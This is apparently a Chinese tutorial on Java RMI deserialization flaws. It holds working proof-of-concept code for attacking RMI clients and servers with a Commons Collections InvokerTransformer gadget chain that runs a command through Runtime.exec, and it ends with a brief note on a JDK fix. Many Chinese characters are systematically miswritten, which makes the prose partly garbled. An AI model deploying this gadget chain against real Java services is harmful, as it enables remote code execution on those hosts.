关于java:RMI反序列化漏洞分析

42次阅读

共计 4218 个字符,预计需要花费 11 分钟才能阅读完成。

1、RMI 是什么

RMI(Remote Method Invocatio),是一种跨 JVM 实现办法调用的技术。个别由三个局部组成

  • Client(客户端) Registry 获得服务端注册的服务,而后调用近程办法

    // Connect to RMI Registry :localhost:1099
    Registry registry = LocateRegistry.getRegistry("localhost", 1099);
    
    // search service which called evil and cast type to EvilService
    EvilService evilService = (EvilService) registry.lookup("evil");
    
    //call evil method and need to call "put" function to trigger
    //evilTransformerMap 办法具体的执行逻辑是在服务端执行的,并返回后果给 client
    Map evilObject = (Map)evilService.evilTransformerMap();
  • Registry(注册核心) 能够了解成一个存储近程对象的字典,负责网络传输的模块
  • Server(服务端) 负责在注册核心注册服务,其实就是将一个近程对象给 Registry 进行封装

    // 实例化一个 EvilService 即要绑定的对象
    EvilService evilService = new EvilServiceImpl();
    // 将此服务转换为近程服务接口
    EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0);
    // 创立注册核心
    Registry registry = LocateRegistry.createRegistry(1099);
    // 将服务注册
    registry.bind("evil",skeleton);

PS: 在低版本的 JDK 中,ServerRegistry 是能够不在一台服务器上的,而在高版本的 JDK 中,ServerRegistry 只能在一台服务器上,否则无奈注册胜利。

2、服务端或服务端与注册核心通信

2.1 本地获取注册核心

本地获取是在创立的同时返回 Registry 对象 (RegistryImpl) 通过createRegistry 办法如:

Registry registry = LocateRegistry.createRegistry(1099);

获取对象后能够进行 bind,list,lookup,rebind,unbind 等操作

2.2 近程获取注册核心

通过 getRegistry 办法取得的对象是 RegistryImpl_Stub 对象而 createRegistry 取得的是 RegistryImpl 对象。

Registry registry = LocateRegistry.getRegistry("localhost", 1099);

这两者的区别在于在对 Registry 进行操作的时候流程会有不同,有趣味的同学能够尝试打断点进行调试查看具体区别

2.3 客户端与服务端的通信

这里次要讲一下会引发反序列化的环节

当客户端发动调用近程办法的时候,实际上是客户端与 2.4 中的 Skeleton 进行通信,而如果返回客户端的执行后果是一个对象,则在客户端会对其进行反序列化

而当服务端接管的某个参数类型是 Object 的时候,则会呈现在服务端反序列化的状况。

2.4 流程图

3、反序列化攻打

3.1 攻打 Registry

注册核心间接利用 bindrebind即可攻打这里不再赘述了

3.2 攻打 Client

EvilObject

public class EvilServiceImpl implements EvilService {public EvilServiceImpl(){ }

    public Transformer gadgetTransformerChain(){
        Transformer transformerChain = null;
        try {transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"open  /System/Applications/Calculator.app"})});
        }catch (Exception e){e.printStackTrace();
        }
        return transformerChain;
    }
    public Object evilTransformerMap() throws RemoteException {
        // 转化为 map
        Map outputMap = TransformedMap.decorate(new HashMap<>(),null,gadgetTransformerChain());
        return outputMap;
    }
}

Server

public class RMIServer {public static void main(String[] args) {
        try {
            // 实例化一个 EvilService
            EvilService evilService = new EvilServiceImpl();
            // 将此服务转换为近程服务接口
            EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0);
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("evil",skeleton);
        }catch (Exception e){e.printStackTrace();
        }
    }
}

Client

public class RMIClient {public static void main(String[] args) throws Exception {
        // Connect to RMI Registry :localhost:1099
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // search service which called evil and cast type to EvilService
        EvilService evilService = (EvilService) registry.lookup("evil");

        //call evil method and need to call "put" function to trigger
        //deserialize will happen when function evilTransformerMap() is called
        Map evilObject = (Map)evilService.evilTransformerMap();

        evilObject.put("1","111");
    }
}

3.3 攻打 Server

大体上没什么变动只是 evilObject 的发送方产生了变动

RMIClient

public class RMIClient {public static void main(String[] args) throws Exception {Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"open  /System/Applications/Calculator.app"})});
        Map outputMap = TransformedMap.decorate(new HashMap<>(),null,transformerChain);

        // Connect to RMI Registry :localhost:1099
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);

        Service service = (Service) registry.lookup("evil");
        // 触发服务端反序列化
        service.evil(outputMap);
    }
}

ServiceImpl

public class ServiceImpl implements Service {public ServiceImpl(){ }
    @Override
    public void evil(Object evilObject) throws RemoteException {((Map) evilObject).put("1","111");
    }
}

4、修复

1、在高版本的 jdk(8u141) 中,RegistryImpl#bind中增加了一个 checkAccess 办法,来测验你的起源是否为localhost , 这个修复解决了攻打注册核心的问题

正文完
 0